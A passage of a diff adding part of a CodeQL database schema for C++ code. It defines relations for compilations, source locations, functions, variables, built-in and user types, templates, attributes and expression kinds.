+ * 4 | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+ int id : @compilation ref,
+ int num : int ref,
+ /* kind:
+ 1 = frontend_cpu_seconds
+ 2 = frontend_elapsed_seconds
+ 3 = extractor_cpu_seconds
+ 4 = extractor_elapsed_seconds
+ */
+ int kind : int ref,
+ float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+ int diagnostic : @diagnostic ref,
+ int compilation : @compilation ref,
+ int file_number : int ref,
+ int file_number_diagnostic_number : int ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ */
+compilation_finished(
+ unique int id : @compilation ref,
+ float cpu_seconds : float ref,
+ float elapsed_seconds : float ref
+);
+
+
+/**
+ * External data, loaded from CSV files during snapshot creation. See
+ * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data)
+ * for more information.
+ */
+externalData(
+ int id : @externalDataElement,
+ string path : string ref,
+ int column: int ref,
+ string value : string ref
+);
+
+/**
+ * The source location of the snapshot.
+ */
+sourceLocationPrefix(string prefix : string ref);
+
+/**
+ * Information about packages that provide code used during compilation.
+ * The `id` is just a unique identifier.
+ * The `namespace` is typically the name of the package manager that
+ * provided the package (e.g. "dpkg" or "yum").
+ * The `package_name` is the name of the package, and `version` is its
+ * version (as a string).
+ */
+external_packages(
+ unique int id: @external_package,
+ string namespace : string ref,
+ string package_name : string ref,
+ string version : string ref
+);
+
+/**
+ * Holds if File `fileid` was provided by package `package`.
+ */
+header_to_external_package(
+ int fileid : @file ref,
+ int package : @external_package ref
+);
+
+/*
+ * Version history
+ */
+
+svnentries(
+ unique int id : @svnentry,
+ string revision : string ref,
+ string author : string ref,
+ date revisionDate : date ref,
+ int changeSize : int ref
+)
+
+svnaffectedfiles(
+ int id : @svnentry ref,
+ int file : @file ref,
+ string action : string ref
+)
+
+svnentrymsg(
+ unique int id : @svnentry ref,
+ string message : string ref
+)
+
+svnchurn(
+ int commit : @svnentry ref,
+ int file : @file ref,
+ int addedLines : int ref,
+ int deletedLines : int ref
+)
+
+/*
+ * C++ dbscheme
+ */
+
+extractor_version(
+ string codeql_version: string ref,
+ string frontend_version: string ref
+)
+
+@location = @location_stmt | @location_expr | @location_default ;
+
+/**
+ * The location of an element that is not an expression or a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_default(
+ /** The location of an element that is not an expression or a statement. */
+ unique int id: @location_default,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of a statement.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_stmt(
+ /** The location of a statement. */
+ unique int id: @location_stmt,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/**
+ * The location of an expression.
+ * The location spans column `startcolumn` of line `startline` to
+ * column `endcolumn` of line `endline` in file `file`.
+ * For more information, see
+ * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+ */
+locations_expr(
+ /** The location of an expression. */
+ unique int id: @location_expr,
+ int container: @container ref,
+ int startLine: int ref,
+ int startColumn: int ref,
+ int endLine: int ref,
+ int endColumn: int ref
+);
+
+/** An element for which line-count information is available. */
+@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable;
+
+numlines(
+ int element_id: @sourceline ref,
+ int num_lines: int ref,
+ int num_code: int ref,
+ int num_comment: int ref
+);
+
+diagnostics(
+ unique int id: @diagnostic,
+ int severity: int ref,
+ string error_tag: string ref,
+ string error_message: string ref,
+ string full_error_message: string ref,
+ int location: @location_default ref
+);
+
+files(
+ unique int id: @file,
+ string name: string ref
+);
+
+folders(
+ unique int id: @folder,
+ string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+ int parent: @container ref,
+ unique int child: @container ref
+);
+
+fileannotations(
+ int id: @file ref,
+ int kind: int ref,
+ string name: string ref,
+ string value: string ref
+);
+
+inmacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+affectedbymacroexpansion(
+ int id: @element ref,
+ int inv: @macroinvocation ref
+);
+
+case @macroinvocation.kind of
+ 1 = @macro_expansion
+| 2 = @other_macro_reference
+;
+
+macroinvocations(
+ unique int id: @macroinvocation,
+ int macro_id: @ppd_define ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+macroparent(
+ unique int id: @macroinvocation ref,
+ int parent_id: @macroinvocation ref
+);
+
+// a macroinvocation may be part of another location
+// the way to find a constant expression that uses a macro
+// is thus to find a constant expression that has a location
+// to which a macro invocation is bound
+macrolocationbind(
+ int id: @macroinvocation ref,
+ int location: @location ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_unexpanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+#keyset[invocation, argument_index]
+macro_argument_expanded(
+ int invocation: @macroinvocation ref,
+ int argument_index: int ref,
+ string text: string ref
+);
+
+/*
+case @function.kind of
+ 1 = @normal_function
+| 2 = @constructor
+| 3 = @destructor
+| 4 = @conversion_function
+| 5 = @operator
+| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk
+| 7 = @user_defined_literal
+| 8 = @deduction_guide
+;
+*/
+
+functions(
+ unique int id: @function,
+ string name: string ref,
+ int kind: int ref
+);
+
+function_entry_point(
+ int id: @function ref,
+ unique int entry_point: @stmt ref
+);
+
+function_return_type(
+ int id: @function ref,
+ int return_type: @type ref
+);
+
+/**
+ * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits`
+ * instance associated with it, and the variables representing the `handle` and `promise`
+ * for it.
+ */
+coroutine(
+ unique int function: @function ref,
+ int traits: @type ref
+);
+
+/*
+case @coroutine_placeholder_variable.kind of
+ 1 = @handle
+| 2 = @promise
+| 3 = @init_await_resume
+;
+*/
+
+coroutine_placeholder_variable(
+ unique int placeholder_variable: @variable ref,
+ int kind: int ref,
+ int function: @function ref
+)
+
+/** The `new` function used for allocating the coroutine state, if any. */
+coroutine_new(
+ unique int function: @function ref,
+ int new: @function ref
+);
+
+/** The `delete` function used for deallocating the coroutine state, if any. */
+coroutine_delete(
+ unique int function: @function ref,
+ int delete: @function ref
+);
+
+purefunctions(unique int id: @function ref);
+
+function_deleted(unique int id: @function ref);
+
+function_defaulted(unique int id: @function ref);
+
+function_prototyped(unique int id: @function ref)
+
+deduction_guide_for_class(
+ int id: @function ref,
+ int class_template: @usertype ref
+)
+
+member_function_this_type(
+ unique int id: @function ref,
+ int this_type: @type ref
+);
+
+#keyset[id, type_id]
+fun_decls(
+ int id: @fun_decl,
+ int function: @function ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+fun_def(unique int id: @fun_decl ref);
+fun_specialized(unique int id: @fun_decl ref);
+fun_implicit(unique int id: @fun_decl ref);
+fun_decl_specifiers(
+ int id: @fun_decl ref,
+ string name: string ref
+)
+#keyset[fun_decl, index]
+fun_decl_throws(
+ int fun_decl: @fun_decl ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+/* an empty throw specification is different from none */
+fun_decl_empty_throws(unique int fun_decl: @fun_decl ref);
+fun_decl_noexcept(
+ int fun_decl: @fun_decl ref,
+ int constant: @expr ref
+);
+fun_decl_empty_noexcept(int fun_decl: @fun_decl ref);
+fun_decl_typedef_type(
+ unique int fun_decl: @fun_decl ref,
+ int typedeftype_id: @usertype ref
+);
+
+/*
+case @fun_requires.kind of
+ 1 = @template_attached
+| 2 = @function_attached
+;
+*/
+
+fun_requires(
+ int id: @fun_decl ref,
+ int kind: int ref,
+ int constraint: @expr ref
+);
+
+param_decl_bind(
+ unique int id: @var_decl ref,
+ int index: int ref,
+ int fun_decl: @fun_decl ref
+);
+
+#keyset[id, type_id]
+var_decls(
+ int id: @var_decl,
+ int variable: @variable ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+var_def(unique int id: @var_decl ref);
+var_specialized(int id: @var_decl ref);
+var_decl_specifiers(
+ int id: @var_decl ref,
+ string name: string ref
+)
+is_structured_binding(unique int id: @variable ref);
+var_requires(
+ int id: @var_decl ref,
+ int constraint: @expr ref
+);
+
+type_decls(
+ unique int id: @type_decl,
+ int type_id: @type ref,
+ int location: @location_default ref
+);
+type_def(unique int id: @type_decl ref);
+type_decl_top(
+ unique int type_decl: @type_decl ref
+);
+type_requires(
+ int id: @type_decl ref,
+ int constraint: @expr ref
+);
+
+namespace_decls(
+ unique int id: @namespace_decl,
+ int namespace_id: @namespace ref,
+ int location: @location_default ref,
+ int bodylocation: @location_default ref
+);
+
+case @using.kind of
+ 1 = @using_declaration
+| 2 = @using_directive
+| 3 = @using_enum_declaration
+;
+
+usings(
+ unique int id: @using,
+ int element_id: @element ref,
+ int location: @location_default ref,
+ int kind: int ref
+);
+
+/** The element which contains the `using` declaration. */
+using_container(
+ int parent: @element ref,
+ int child: @using ref
+);
+
+static_asserts(
+ unique int id: @static_assert,
+ int condition : @expr ref,
+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
